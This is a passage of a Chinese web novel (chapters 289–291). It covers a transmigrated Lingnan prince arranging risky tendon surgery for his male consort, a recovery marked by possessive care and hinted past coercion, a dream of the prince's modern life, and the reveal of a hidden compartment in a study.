嵇燕台用银匙搅动了一下,银耳晶莹,莲子饱满,散发着清甜的香气。正适合午后填填胃。他慢悠悠地舀起一勺,送入口中。甜而不腻,温润熨帖。甜羹分量不大,几口就见了底。嵇燕台问:“裴侍君可还说了什么?”侍女恭敬道:“王爷果然料事如神,裴侍君交代奴婢,若是王爷肯用银耳莲子羹,便让奴婢再问问……. “今晚可否一同用晚膳?” … 当晚,嵇燕台踏足后院,还过了夜。 这一夜,跟过往任何一次都不同。 嵇燕台仍旧强势,却不再只顾着自己快意,动作间竟透出几分温柔意味,表现出前所未有的耐心和缱绻,甚至低声征询着, “湛湛,这样可好?” “美吗?” 裴湛小病虽愈,脸上却还残存着一丝病容,看着有些苍白,谁知男人那一声声,一句句,硬是将他问得面红耳赤。 他情愿岭南王如往常一般。 这份近乎虚假的温柔呵护,如同裹着蜜糖的毒药,让他的身体难以自控地沉沦,在对方的掌控之下逐渐软化。 裴湛心下懊恼,忍不住将脸埋入臂弯里。 半晌。 嵇燕台揽着人,指尖一圈圈地缠绕着他汗湿的发丝,声音低哑,“明日,府里会来一位医师,让他给你瞧一瞧。” 裴湛闭着眼,应道:“王爷,我的风寒已无大碍,否则也不敢邀王爷前来,府医……. “不是治风寒。” 嵇燕台截断话头,将怀里的人转了个向,与其面对面,随后低头在他光洁的额头上印下一吻,语气温柔得像在哄孩子, “明日来的,是本王特意从北边请来的民间奇医,专治寻常医师所不能治的疑难杂症。” “——其名,常有道。” 289、Chapter 289 翌日。 常有道如约而至。 此人须发皆白,身形干瘦,穿着一件洗得发白的灰布袍,腰间还挂了一卷针帘,眼神异常清亮锐利,举止不卑不亢。 侍女将他引至偏厅。 彼时,嵇燕台与裴湛已在厅内等候。 经过昨日的甜羹相邀、夜宿屋中,两人在明面上已达成默契,不动声色地将某件事情翻了篇,不再谈起。 气氛回温。 今朝裴湛睁眼时,发现自己整个人都嵌进岭南王怀里了,颈下是男人的臂膀,不知枕了多久。 也不知岭南王是什么时候醒的,在他耳边爱语连连,喊他乖乖、宝贝、又低声嘶了几声,说自己的手臂又酸又麻…… 裴湛向他告罪。 那人毫不在意,反倒将他搂得更紧,脸上笑吟吟的,语气亲热“你何罪之有?是本王将你拥入怀中,舍不得撒开手呢。”思绪回笼。 裴湛偏过脸,瞥了眼上首的岭南王。 他入府已有数月,府中前前后后来了不少医师。那些人检查过他的手伤之后,都是摇头叹息地犯了难,最后悻悻而去。 裴湛对自己右手的伤情心知肚明。 起初,他心底还不由自主地生出几分希望,后来便平常心了,如今左手书画不在话下,虽不及右手,却也是有模有样。 只不过…… 这一回似乎有些不同。 岭南王对这位名为常有道的医师不一般,似乎极为笃定此人医术高超,甚至亲自出面,陪他会见这位老大夫,颇有种礼贤下士的端正。 前头那些医师绝无此待遇。 嵇燕台自然没有功夫关注那些人了,但常有道不一样,他可是原著认证过的金牌神医,不仅治好了裴湛的手伤,后期还研制出假死药,扭转了主角团的劣势。 至于为什么要搜罗其他医师,一点点消磨裴湛的念想…… 当然是为了先抑后扬。 嵇燕台笑而不语。 他最喜欢一鱼多吃了。 “常先生远道而来,舟车劳顿,”嵇燕台伸出手,邀人落座,“本王已在府中备下薄酒,稍后便为先生接风洗尘。” 常有道拱了拱手,开门见山道:“有劳王爷费心了,病不等人,就是这位公子要治伤?” 嵇燕台颔首道:“正是。” 说完,他冲底下侍从瞥去一眼。 侍从当即动起来,很快搬来一张小桌和一把椅子,又在桌面置下脉诊。 常有道也不废话,径直坐过来, “公子,请。” 裴湛依言,将袖子撩起几寸,露出小半截右手臂,然后把那只带着狰狞疤痕的右手腕平放在脉枕上,“有劳了。” 常有道仔细端详那道深褐色的横切疤痕,手指如同鹰爪般,按压疤痕周围的皮肉筋骨,感受着皮下的粘连、萎缩和筋脉的走向。 他眉头紧锁,神色专注得近乎苛刻。 “何时伤的?如何伤的?” 常有道沉声问道,目光如炬。 裴湛——作答。 紧接着,常有道让裴湛尝试握拳。 裴湛缓缓施力,手指却蜷缩着,轻颤不止,无法形成有力的抓握。 见状,常有道取下腰间的布卷帘,在桌上摊平了,又从里头捻出几根细如牛毛的银针,手法快如闪电,刺入裴湛的手腕及手臂几处大穴。 他捻动银针,观察着裴湛手指的细微反应。 这一番望闻问切,持续了半个多时辰。 终于,常有道收回银针,长长吁了一口气。 他看向嵇燕台,神色凝重, "公子此伤,时日已久,断筋萎缩粘连,寻常汤药石针,已是回天乏术.… 嵇燕台喝了口茶,“若是不寻常呢?” 常有道的眼中闪过一丝精光,“是也,公子若想恢复执笔之力,唯有置之死地而后生,老夫有一门独门秘法,名日“续筋术′!” “即重新割开皮肉,寻到断筋残端,以特制针法将其续接缝合。” 此言一出,侍立一旁的下人们无不倒吸一口凉气。 割开手腕?续接筋脉? 简直是骇人听闻! 常有道无视众人的惊骇,继续道:“术后,需以秘制药膏外敷,汤药内服,再辅以老夫的独门针法疏通穴道,特制的夹板固定骨腕……两月之内不得轻举妄动,半年之内不得提笔,重物是万万碰不得的!” “更要紧的是…… 他神色沉凝,冷静地道出后果,“此术凶险万分,老夫仅有五分把握罢了,稍有不慎,伤口便会溃烂流脓,筋脉二次断裂,这只手彻底废掉。” “公子,你可要想清楚了。” 此等惊世骇俗的治疗方法和沉重的风险,足以让任何人望而却步,自当是慎重考虑,不能潦草做下决定。 侍女带着常有道前往暂居的偏院。 厅内,只剩下嵇燕台和裴湛。 “他的话,你都听清楚了。”嵇燕台扭头看向身边人,“做,还是不做,选择权在你,本王不会逼你。” 裴湛垂着眼,视线落在腕间那道疤痕上。他沉默片刻,脸上没有激动,没有恐惧,只有一片沉寂如水的决然 …做。” 听到这一声儿,嵇燕台起身的动作微顿,忍不住踱步到裴湛身前,问道: “虽然你的右手不便写字,却无碍于生活起居,左手亦是安好,你确定要冒这样大的风险?” 能医治好右手,自然是好事一桩。 然而,常有道给出的治疗方法,实在过于匪夷所思了,稍一不慎,非但治不好右手,还会让伤势加重,得不偿失。 原著中,裴湛的右手也不是在岭南王府内医治好的,反倒是离开王府后,才孤注一掷地进行了续筋之术。 原因无他。 只因岭南王′性情乖僻残暴,手段残忍,对裴湛更是不加克制地折磨,硬生生将他的另一只手也毁了,令裴湛宛如半个残废。 裴湛没有选择,只得冒着风险治手。 眼下的情况与原著稍有不同。 说一千道一万。此刻的裴湛并不是非要冒险不可。 就在这时。 裴湛抬头盯着嵇燕台,声音很轻,却带着一种莫名的笃信,“王爷对常先生如此另眼相待,此人必定有过人之处…… “裴湛愿意一试。” 嵇燕台难得愣了一瞬,很快回过神,品出裴湛的话中深意后,忍不住笑弯了腰。 他的额头抵着裴湛的右肩,热气一股脑扑在那人的颈侧,嵇燕台一边笑,一边轻吻着那一截纤长的脖颈,含含糊糊地道了声, “哎呀,湛湛……. “你可真是个宝贝。” 居然还从他这儿卡上原著bug了。 裴湛不知道岭南王为何发笑,只默然地偏过脑袋,任男人吻咬着,良久才低声问道:“王爷,在我养伤期间,不知……” “放心吧,本王千金一诺。” 嵇燕台应得干脆,“该是你的,还是你的。” “……. 十日后。 欺风小院主屋被辟为净室。 门窗紧闭。 屋内弥漫着一股浓烈的药酒气味,以及艾草焚烧后特有的烟熏味。 裴湛身着素衣,躺在一张榻上,右手被小心地安置在一个固定手腕的特制支架上,不得动弹。 腕上那道疤已被烈酒反复擦洗过,赤裸裸地暴露在空气中,显得愈发刺目可怖。 “现下时机正好。” “正值冬日,天气寒冷,身上不易发汗,免得伤口红肿溃烂…… 常有道如此说着,手上不得闲,正用浸泡在烈酒中的棉布,一遍遍擦拭着几柄形状奇特,刃口闪着幽冷寒光的小弯刀,以及带着倒钩的细针。 他身上穿着一套用沸水煮过的干净衣裳,须发打理得干干净净,裹在一方布帽中。 旁边的小几上,依次摆放着纱布、麻沸散、缝合伤口的羊肠线、特制的固定夹板、以及散发着浓烈药味的膏药等等。 气氛有些凝重。 常有道擦拭完刀具,将视线转向站在榻旁的男人,忍不住感叹一句, “想不到王爷对岐黄之术有所涉猎,通晓如何降低病患发热的法子,又知麻沸散不可过量…” 嵇燕台笑了笑,“常先生方乃当世大才,本王算不得通岐黄,不过是心有所爱,忍不住在旁稍稍叮嘱几句罢了。” 这一言一语,皆落在裴湛耳中。 他安静地躺在榻上,冷不丁望进岭南王瞥过来的眼眸中,长睫下意识颤了几下,随后听到那人温声安抚道:“不必紧张。” 裴湛闭了闭眼,又睁开,轻轻嗯了一声。 “差不多了,”常有道为自己戴上一双羊肠所制的手套,“请公子用麻沸散吧。” 裴湛上身微抬,正要用左手接过药碗,身前便罩下一片阴影。岭南王先他一步,将药碗递到他唇边,亲手喂下。 紧接着,有什么东西被塞入口中,驱散了药汁的苦涩。 裴湛愣了愣,陡然反应过来。 是允书送过来的蜜饯。 那孩子送一回就罢了,后来又送了第二回。裴湛问他为何如此,他便皱起小脸,眼神里隐约透着几分挫败,双手捂着嘴巴。 ……像是有人不让他道出实情。 药效渐起。 裴湛的眼皮愈发沉重,思绪迟缓,耳边的刀具磕碰声、说话声逐渐模糊了,仿佛被一阵突如其来的浓雾隔绝,不真切。 腕间忽而传来一阵凉意。 裴湛猛地睁开双眼,“… 下一瞬。 一只大掌轻轻覆盖在他的双眼之上。 裴湛陷入一片温暖的黑暗中。 隐隐约约的,他听到岭南王的声音仿佛从天边传来,每一个字都带着回响,“常先生,他这只手可是价值非凡,定要尽心救治…… “王爷放心…… “您特地命人将小老儿接来岭南,甚至以那株御赐的百年山参王为赏赐,哪怕是为了药材,小老儿也得竭尽全力啊。” “哈哈,常先生真是快人快语。”. … 再彻底睡去之前,裴湛似乎听到一句很轻很轻的‘别怕’,又像是错觉,真真假假,似有若无,让人怎么都分辨不清。 他陷在黑暗中,一颗心沉甸甸的。 ……或许,他确实有些怕。 怕什么呢? 290-298 290、Chapter 290 续脉之法,匪夷所思。 偏偏常有道这块老身板就是完成了。 屋中沉寂了许久。 裴湛仍昏睡着,那只被割开皮肉,以续接筋脉的右手腕,此刻被纱布包裹着,固定在特制的木质夹板中,散发出浓烈的药膏气味。 “呼。” 常有道满脸疲容,大冬天的,额角愣是渗出一片细密的汗水。他缓缓坐下,将压在舌头底下的那片薄参片嚼了嚼,咽下肚,感叹道:“老了,终究老了啊…!” 嵇燕台旁观了全程,见他双手稳健,下刀精准而利落,不由得道了声,“先生老当益壮,本王叹为观止。” 这是实话。 常有道少说也有五十岁了,居然能在医疗环境和设施如此落后的时代,研究出开刀手术,并一口气完成复杂且精密的微操手术…… 还真是神了。 不愧是能研究出假死药的神医。 嵇燕台时常觉得,古人崇敬满天神佛,也不是没有道理的,有些事情离谱到像是玄学作祟,自己所知悉的现代科学也无法解释。 他垂下眼,目之所及是一片红。 裴湛方才被割开了手腕。 尽管常有道下刀知轻重,避免了大出血,但他那只腕子仍像个破了口的水袋,汩汩地渗着血,将垫在底下的厚棉布染成深红。 棉布越红,裴湛的脸越苍白。 所幸常有道手法高超,续接完筋脉,很快便用羊肠线缝合了伤口,再敷以止血良方。 休憩片刻。 裴湛还没醒。 常有道收拾起了刀具和针帘,临走前,他向嵇燕台仔细交代着,“王爷,此后两日是最凶险的时刻,需严密观察裴公子的伤口是否红肿流脓,小老儿会早晚来换药,针灸。”嵇燕台微微颔首,“他何时能醒?” 常有道算了算剂量,应道:“约莫小半个时辰,裴公子便能醒来。” “对了… 他拎起药箱,严肃道:“饮用麻沸散之人,醒来时会神志不清,形同醉酒。切记,夹板绝不能松动,伤处绝不可受力!” “否则功亏一篑!” 嵇燕台应道:“本王明白了。” 常有道——叮嘱完,便要告退,只是他刚走到门边,忽又转回身,“王爷,还有一事。” 嵇燕台:“先生但说无妨。” 常有道一生行医,自然不会扭扭捏捏的,当即直白道:“三十日之内,切勿行房,若因一时之快埋下祸患,神仙难救啊!” 房门开了又关。 嵇燕台敛眸,发现躺在榻上的人竟提前睁开了眼睛,视线微微失焦,神情茫然又空泛,果然如醉酒一般。 “还记得本王是谁么?” 嵇燕台挑了挑眉,一边俯身按住他的小臂,一边笑着发问,却发现随着自己的靠近,裴湛下意识地偏过头去,刚睁开的眼又闭上了。 他咬着下唇,不说话。 嵇燕台眨眨眼,“这么怕我啊?” 话音刚落,他就发现裴湛默然流着泪,紧闭的眼角一个劲儿地涌出湿液,往鬓角里淌,脸上却什么表情都没有。 “不、不要……不要弄……. 他神志不清地说着,口齿含糊,“不要、不要在这里…… 一连好几个不要’。 嵇燕台笑笑,”醉”了便说真心话了。” 要知道,在今日之前,裴湛从未对他说过这两个字,在那些时刻堪称逆来顺受,顶多是在嵇燕台要他开嗓之时,将唇舌紧闭。 倒也不要紧。 他要静,嵇燕台便让他静。 只是他闭口不言,这屋中的嘈杂之声却愈演愈烈了。嵇燕台这个坏胚子,还要凑到他耳边,佯装好奇地问:“你怎么生得这般脆?” “屋外头的丫鬟们听了 “说不定,还以为本王在拍壶瓜呢。” … 嵇燕台承认,自己有些时候确实过分了些,可他也不是没有疼过裴湛,后来也教会这人如何从中得趣了。 不想要这乐趣? 那不行。 既然给了他,那他就必须受着。 见裴湛还在淌泪,嵇燕台忽又想到自己去见裴允书的那一夜,小孩儿缩在被子里,也是闭着眼睛啜泣的模样。 这叔侄两人真是像。 嵇燕台仍按着裴湛刚做过手术的小臂,上身稍稍退开一些,抬起另一只手为他拭泪,摸了一掌心的水,天可怜见的。 过了一会儿。 嵇燕台用指腹,从他的眼头抚到眼尾,见此人的睫毛结成了簇,鬓角也湿漉漉的,轻笑道:“这回是真醒了吧?” 片刻沉默。 躺在榻上的人:“.……嗯。” 裴湛觉得自己睡了好长一觉,醒来便发现自己满脸湿意,肌肤有些紧绷,岭南王有一下没一下地拂过他的眉眼。 麻沸散的药效正渐渐褪去。 手腕处泛起一阵连绵不绝的钝痛。 就在这时。 岭南王开口了,语调稍显戏谑,“湛湛,你方才神志不清,说了好些胡话呢。” 听到这话,裴湛心下一跳。 不料岭南王并未往下说,反而转述起了常有道的医嘱,最后还意味深长地道了声,“你我至少一月不得亲热,你倒是能松一口气了。” 裴湛并没有松一口气。 或许是麻沸散的药效残存一丝,让他的思绪有些迟钝,他怔了一会儿,才低声道:“不能伺候王爷,是裴湛失了本分,还请王爷恕罪。” 嵇燕台笑着说:“本王怎么会怪罪你呢。“ 这话说的。 多情愿被他睡似的。 方才还看他哭成个泪人呢。 闻言,裴湛又是一阵沉默。 岭南王后院只他一人。 因此,裴湛最是知道男人对那事有多热衷,仿佛压抑了许多年的洪水一朝迸发,浩浩荡荡地冲塌了堤坝,不尽不停。 ……月余不得近身? 嵇燕台见他彻底清醒了,正要起身退开,谁知裴湛冷不丁抬起左手,一把揪住了他的衣袖,声音因疼痛而显出几分脆弱, “王爷,您会收用旁人吗?” 嵇燕台眉梢微挑,当即反应过来了。 这人是忧心自己耐不住,往后院里塞人,惹起后院争端也就罢了,若是留恋于他人床榻,自此一去不回,岂非顾不上教导他、借力于他了? 男人嘛。 有了新宠,哪里顾得上旧人。 过往诺言就像一阵风,吹过就过了。 怕是孩子也要吃冷落的。 嵇燕台暗暗发笑,面上却摆出一副蹙眉沉思的模样,仿佛被问住了,自言自语道:“是啊,本王后院凋零,正好收几个新.…….” 擒着他袖子的指节紧绷,微微泛白。 见状,嵇燕台轻飘飘地叹了一口气。 他反手握住裴湛的左掌,将其紧按在自己的心口,抱怨道:“湛湛,在你眼里,难不成本王是个离了床第之欢就活不下去的色中恶鬼?”裴湛不语。 嵇燕台揉了揉他的手背,问:“你说说看,想要本王收些弟弟妹妹,帮你分担些,或是专宠你一人,清心寡欲地等着你,候着你?”数息后。 屋中响起一声轻语,…专宠。” 嵇燕台憋着笑,应道:“都依你,不给你添弟弟妹妹,就疼湛湛一个人,好不好?” 晚膳前,常有道来看过一回,确认过没什么问题,又风风火火地走了。 裴湛伤在右腕,但整条小臂都被夹板牢牢固定住,纹丝不动地搁在特制的垫桌上,只得用左手执匙,用着补血的药膳。 裴允书也在。 他坐在嵇燕台下首,大眼睛里盛满了担忧和小心翼翼,目光时不时飘向裴湛那只被包裹得严严实实的手臂。 叔侄俩隔得很远。 嵇燕台发现这小家伙主动往他身边靠了靠,生怕自己一个不小心碰到裴湛的伤处,忍不住逗了他两句,“小允书,之后你有很长一段时间不能抱小叔了,会伤心么?” 裴允书点头,又摇头,然后甩过去一个眼神。 “哎,叔父不及你,”嵇燕台淡定承认,“叔父伤心着呢,往后被窝里只自己一人,不知该有多寂寞。” 他唉声叹气,“孤枕难眠呐。” 闻言,裴允书伸出一根指头,在男人的手臂上飞快划出几个笔画。 裴湛执匙的动作一顿,恍然发觉允书与岭南王之间似乎亲近了许多,动作有些没大没小,他正要开口训导,就听岭南王笑着应道: “算了吧。” “本王才不想跟一只狗崽大被同眠。” 裴允书抿唇,脸有点鼓。 裴湛见男人的神情与语气没有流露出不耐或排斥,便将话咽了回去。 晚膳后,连翘来接允书。 小孩子大概是不舍得走,频频回头,偏又脸色怯怯,不敢靠近裴湛,只远远地冲他那只手呼了几口气,才恋恋不舍地出了门去。 临了,还跟嵇燕台挥了挥手。 见此情形,嵇燕台暗自感叹一句, 还得是真小孩啊。 裴允书的围棋下得愈发好了,在嵇燕台手下撑的时间一点点变长,输了也不气馁,反倒兴致更加高涨,智商毋庸置疑。 所以说,环境改变性格。 连这种乖小孩儿,都能在七八岁的年纪心生杀念,他这个现代人在封建老登的路上一去不回,也是情有可原的吧? 夜色渐深。 很快,便到了就寝的时辰。 岭南王迟迟没有离开。 裴湛犹豫片刻,终究没有出声,忽闻门外传来 阵动响和脚步声——竟是几个侍从合力抬进来一张崭新的拔步床,与他的床榻并排摆放,中间仅隔了一扇山水屏风。 紧接着,两个丫鬟抱着床褥进来。 裴湛愕然地看着这一切。 主屋的空间顿时拥挤了许多。 嵇燕台合上话本子,从软榻踱步到丫鬟刚铺好的床上,悠然道:“若是本王起了他念,想捉几个人进被窝暖暖,便起身瞧一眼你的睡颜…” “保管什么心思都消了。” 夜色更深。 裴湛独自躺在床上,为了确保自己在睡梦中不乱动,伤了右手,丫鬟取来一段布条,将他整条手臂固定住了。 是岭南王的提议。 屋内寂静,且昏暗。 角落点着一盏灯笼,烛光黯淡。 裴湛毫无睡意,手腕的疼痛如同附骨之疽,一阵强过一阵。他偏过头,就见屏风上倒映着男人读话本子的轮廓。 模糊、绰约、却让人无法忽视。 岭南王的性情难以捉摸,时而冷酷无情,时而情深周全,脸上总是一副笑模样,心思之深沉,让裴湛不寒而栗。 “王爷…… 他轻声问道:“王爷为何对裴湛另眼相待?” 这声儿太突兀,屏风后的人影似动了动,没有立刻回答。 时间流淌,沉默蔓延。 良久……. 裴湛才听到岭南王轻笑一声,低沉磁性的嗓音从屏风另一头飘过来,语气有些古怪,“你是想听本王的真心话,还是客套话呢?” 烛火摇曳,将屏风上的影子拉得忽长忽短。 裴湛说:“真心话。” 又是一阵沉默。 那声音再次响起,更低沉,也更模糊,仿佛沉入遥远的回忆:“嗯,缘由还是挺多的,但最主要的一点大概是…… “有人说过,你很像我。” 什么?像什么? 有一瞬间,裴湛陷入茫然。 只是屏风另一头的人不再应答了,随手把话本子一合,塞入枕下,飞快地睡去了。 裴湛只得闭上眼。 这一夜,嵇燕台睡得不太安稳。 或许是冬夜太冷、被窝太空、又或者是他与裴湛睡前那几句对话,勾起了他埋藏在脑袋深处的某段记忆。 日有所思,夜有所梦。 嵇燕台掉进了一个光怪陆离的梦境。 梦里的场景很嘈杂,吵得人头疼。他似乎是坐在高处,居高临下地望着底下三道背影。 台灯散发出暖黄的光线。 墙顶的电扇转呀转。 其中一个男人坐在桌前,身前摆了一台笔记本电脑,另外两个人一左一右地挤在他身后,三张脸盯着屏幕看。 忽然,左边的人猛拍中间那人的肩膀,语气激动,“老许!你这新书简直是大爆特爆啊!” “什么都不说了,赶紧请吃饭!” 中间那人的身板干瘦,被拍得一晃一晃的,低头推了推眼睛,应道:“多谢诸位帮我看文,这是应当的。” 话毕,他蓦然回头,脸高抬, “燕台兄,你想吃什么?” 右边那人猛地锁住他的喉,状似愤愤不平,实则玩笑道:“偏心,为什么第一时间问燕台,我们两个就不是你的翅膀了吗?!” “终究错付了!”另一人也嚎道。 嵇燕台看不清这三个人的脸,只听到一道陌生又熟悉的清朗嗓音,嘿然一笑,应声道:“宫中姐妹们不必嫉妒。” 好一阵插科打诨。 左边那人站起身,单手叉腰,另一手接抛着一副眼睛,有些纳闷道:“对了,老许,我总觉得你这男主角越看越眼熟啊?”右边那人连连点头,“见过似的。” 原先坐在椅子上的青年,整个人有气无力地倒在床上,头发被搓成鸡窝,冲两人伸出手,“快把眼镜还给我……. 闻言,他动作一顿,“是见过。” “—就是燕台兄啊。” “哈??” 就在这时。 嵇燕台又听到那道清朗的声音说话了。 那人大概是一边嚼着牛肉干,一边说,咬字有些含糊,“没想到吧,本人就是主角的原型,以后小说卖版权了……喷,深藏功与名。”底下的人齐齐发出尖锐爆鸣, “老许,你这个大渣男,几包牛肉干就骗燕台卖了身!蒋蒋,赶紧把我偷藏柜子里的模型枪掏出来,我现在就毙了这个狗作者!”吵着闹着,所有人都笑起来了。嵇燕台听到了自己的声音。他笑得好大声。胸腔在震颤,吸光所有氧气,肆意又畅快。 嵇燕台被笑声吵醒了。 他睁开眼,顶上是熟悉的王府床帐,窗外依旧是沉沉的黑夜,天还未亮,梦境的喧嚣褪去后,只余下无边的寂静。 寂静里,还藏着点什么。 是从屏风另一头传来的压抑呼吸声。 “手腕疼得厉害?”嵇燕台的声音带着刚醒的沙哑,“是睡不着,还是疼醒了?” 裴湛回话的音量轻极了,“睡不着。” “有没有别的不适?”嵇燕台又问。 “王爷不必忧心,若有不适,裴湛自会唤守夜的… 嵇燕台不耐烦地啧了声,“有没有?” 半晌。 那头飘过来几个字,…有些口渴。” 嵇燕台掀开锦被起身。他绕过屏风,走到桌边倒水,却先往自己嘴里灌了一个满杯,然后才又续满了,往裴湛的床边走去。 烛光昏暗。 一切都是朦胧的。 裴湛平躺着,墨发散在枕上,衬得脸色愈发苍白。那只受伤的手臂被布条固定着,睡姿僵硬。 嵇燕台走到床边坐下,将水杯递到他唇边。 裴湛犹豫一瞬,微抬起头,安静地就着男人的手饮水,却不慎呛了一口,咳嗽间,震得伤口随着呼吸一阵阵地疼。 嵇燕台见他唇角湿润,眸中波光流转,像是咳出来的泪,不耐烦地低斥一声, “别动了。” 话毕,他索性举杯自饮,倾身弓背,一只手穿过裴湛的后颈,将对方抬起来一些,然后把唇覆了上去。 温水缓缓渡了过去。 一杯水,就这样一口一口地渡完。 “还要吗?”嵇燕台问。 “不要了。” 嵇燕台像是没听见,又倒满一杯,仍是以唇渡之,如此反复,足足喂了两杯半才作罢。 他本还想喂的,谁知裴湛咬着唇闪避,脸上泛起一丝难言的窘迫,“王爷,我饮水不宜过多,身上不方便。” 嵇燕台直白道:“想出恭了?” 裴湛一下子陷入沉默。 嵇燕台笑了笑,竟从床下拿出一个崭新的瓷质小夜壶,随即又从另一头掀开裴湛身上的锦被,目的明确。 裴湛只觉得凉。 饶是两人坦诚相见的次数不再少数,这件事也太超过裴湛的预料了,他下意识地蜷缩起双腿,语气有些急切, “不必劳烦王爷,我自己…. “躺好,乱动什么?” 嵇燕台语气平淡,手下动作很利落,且不容置啄,“深更半夜的,唤人进来更麻烦。乖,别折腾了。” 没动静。 嵇燕台催促道:“要本王吹口哨么?” 裴湛从男人的语气里听出了浓浓的不耐烦,先前还握着他的手怎么爱,怎么疼的,如今的态度却透出几分阴森和压迫 …. 裴湛用左臂遮住自己的脸,耳根红得滴血,听着那阵断断续续的水声,恨不能找个地缝钻进去。 直到岭南王唤来门外守夜的侍女,命其将夜壶带下去,又去净了手回来,裴湛脸上的热度还未褪去。 他无地自容了。 嵇燕台瞧着瞧着,心里却舒坦了。 见他羞窘难当,嵇燕台帮他掖了掖被角,放软了语调,哄道:“跟本王害什么臊呢?” “你呀,就是太年轻了,脸皮薄。” 烛光在他侧脸上投下明明火火的光影,嵇燕台莞尔,缓声道:“罢了,倒是本王关心则乱,没顾及你的脸面,这样吧……” “本王给你讲睡前故事,当做赔罪可好?” 不等裴湛回话,他自顾自地往下说:“这是一则关于驯兽师和猴子的故事。” “某天,驯兽师得到了一只极聪明的猴子。” “他从小训练猴子,给它穿上华美的衣裳,教它用两条腿直立行走,教它像人一样作揖行礼,然后带着它四处表演,赚取金银。” “猴子很聪明,学得很快。” “它穿着人的衣服,做着人的动作,渐渐以为自己就是个人了。”嵇燕台笑了一声,“可只有它站在戏台上,人们才会为它喝彩,下了台……” “它好像还是一只猴。” “不对啊,它已经听不懂森林里野猴子的嚎叫了,也学不会在树藤间自由地荡跃。” “它不是人,却也回不去森林了。” “湛湛,你说……. “这只猴子该怎么办呢?” 岭南王的视线冷冰冰地罩在身上,仿佛要得到一个回答才肯移开,裴湛默了默,将自己代入故事中的那只猴子,设身处地地思量着。 半晌。 他答道:“我不知道。” 闻言,嵇燕台俯身在他的额心落下一吻,“猴子从驯兽师手中逃走了,就在它最迷茫的时候,它遇到了另一只猴子。”“于是,它决定……“它要像驯兽师一样,去训练另一只猴子,给它穿上衣服,教它走路,教它作揖……它要把它变成自己真正的同类。”“他要在他身上,进行命运的复写。”故事戛然而止。屋内陷入一片死寂。故事讲完,嵇燕台只觉得口干舌燥。他起身,又去桌边倒了一杯水。烛光之下,男人的影子蔓延到墙顶,裴湛注视着它,只觉得一阵寒意从后脊爬上来。谁是猴子。谁是驯兽师。紧接着,他听到男人一口口吞咽的声响,轻如耳语,又重若千钧,“湛湛,别让我失望。” 291、Chapter 291 嵇燕台兑现了自己的诺言。 ——在裴湛恢复期间,专宠于他。 虽不能行房,嵇燕台却日日留宿在他屋中,两人分床而眠,中间仅隔着一扇屏风,夜里只能瞧见朦胧的影子,声音倒是拦不住。 悉悉索索,如在耳畔。 嵇燕台偶尔来了兴致,还会屈尊降贵,从侍女手中取过那方温热的帕子,替裴湛擦脸擦手,或是拿起玉梳,为他一下下梳通长发。 裴湛只得恭敬领受。 好在那夜的事情没再发生过了。 每每回想起那时的情形,以及岭南王所说的故事,裴湛觉得自己似乎就是一只被布条捆在床榻之上的猴子,连排泄之事都不得自控…… 那感受太煎熬,如同火烧肺腑。 然而,人的悲欢并不相通。 比起裴湛,嵇燕台的日子怎一个舒坦了得。 他非说裴湛整日闷在屋子里,怪无趣的,便美名其日要帮对方消磨时间,便让裴湛念话本子给自己听。 当然不是普通游记了。 而是原本放在书房里的那些珍藏本。 裴湛的嗓音条件很不错。 要不然嵇燕台也不会屡屡要他发声了,如今读起话本子来,亦有异曲同工之妙。 屋子里有暖炉,气温正好。 嵇燕台悠哉地靠在榻上,手边摆着果盘,要不是顾着裴湛的脸面,他还要叫两个侍女进来替自己捏肩捶腿呢。 岂不是更加美妙? 裴湛坐在小几的另一侧,他的声音不高,吐纳间带着读书人特有的端正与韵律,每个字都像是被水洗过一般的干净….… 内容却截然相反。 正因如此,裴湛时不时顿住,片刻后,才又续上,声音不自觉地低下来,竭力维持着足以让身边人听清的音量。 嵇燕台听得津津有味,好不快活。 偶尔的,他还会送几块瓜果、几粒葡萄到裴湛的嘴边,让对方润一润嗓子,还顺手捏几下滚烫的耳垂,笑话道:“这有什么可臊的?”“你若是读到了喜欢的把式,别藏在心里,只管告诉本王……日后你的手伤不碍事了,本王便与你同戏可好?” 裴湛不说话。 就这样,大半个月的光阴悄然流逝。 常有道每日准时来为裴湛前来换药,针灸,仔细检查伤口愈合情况,所幸伤口并未红肿流脓,切口处也缓慢愈合着。 饶是他见惯生死,也忍不住啧啧称奇, “老朽为诸多走投无路的重病伤者施行过续脉断肢之书,伤患多在治疗后高热不下,伤口溃烂腐坏,不久后便不治身亡……. “裴公子恢复得极好,牢记要静养。” 同一天的午后,卫都前来禀报:“王爷,主院书房及小书房均已整饬妥当,您可要去看看?” 闻言,嵇燕台眨眨眼,看向一旁的裴湛,“正好,整日闷着,你也该起来走动走动了。随本王一道去看看书房吧?” 他顿了顿,补充道: “本王也给你添了东西呢。” 裴湛眼中闪过一丝茫然。 嵇燕台但笑不语,冲他伸出一只手。 裴湛当即了然,将自己的左手送到男人的掌心里,任他牵着,往主院走去。 主院书房已经大变样了。 那些浮华奢艳的摆设全然不见,空间被划分得更为实用,主位是一张宽大厚重的紫檀木书案,配着同材质的太师椅,案上文房四宝齐备,还放了把约一臂长的戒尺。 简洁,且威严。 旁边稍小一些的位置,则是一张线条更为雅致流畅的书案,同样配着舒适的圈椅,显然是给裴湛准备的。 两套书桌相对而立,中间隔着恰到好处的距离,既显亲近,又不失分寸。 巨大的书架立在墙边,有些空荡。 屏风在角落隔出一块休息区,里头设了一张小榻,可供休憩。 嵇燕台牵着裴湛逛了一圈,回头问他,“怎么样?可曾发现了什么特殊之处?” 裴湛的脸上没有忽然被问询的无措,反而有条有理地应道: “墙上悬挂的那幅书画,落款是霁朝宰辅柳文渊;博古架上那一尊官窑笔洗,形制亦是霁朝独有;还有书架上那些.…” 皆是霁朝史料典籍。 嵇燕台点点头,夸奖道:“湛湛真是心细。” 是的。 一代岭南王有一代岭南王的痛屋。 他夸完,又领着裴湛移步至书架后,抬手在一个不起眼的花瓶底部轻轻一旋,一按。 “咔哒……嘎吱.…” 一阵轻微的机括声响起。 书架后方,一块严丝合缝的墙体悄无声息地向内滑开,露出一个半人高的隐秘暗格。 暗格内,躺着一个锈迹斑斑的小铁箱。 这箱子不知在暗格里呆了多久,散发出浓浓的泥土腥气,不知道是多少年前的老物件了,样式很是奇特。 严丝合缝,不见锁头。 裴湛有些愕然,不知岭南王为何向自己揭露书房的暗格秘密,心中却好似有什么东西落了地。 他暗提着一口气,扭头问道: “王爷,这是……?” 嵇燕台瞥了眼箱子,眸光变得幽深难辨。 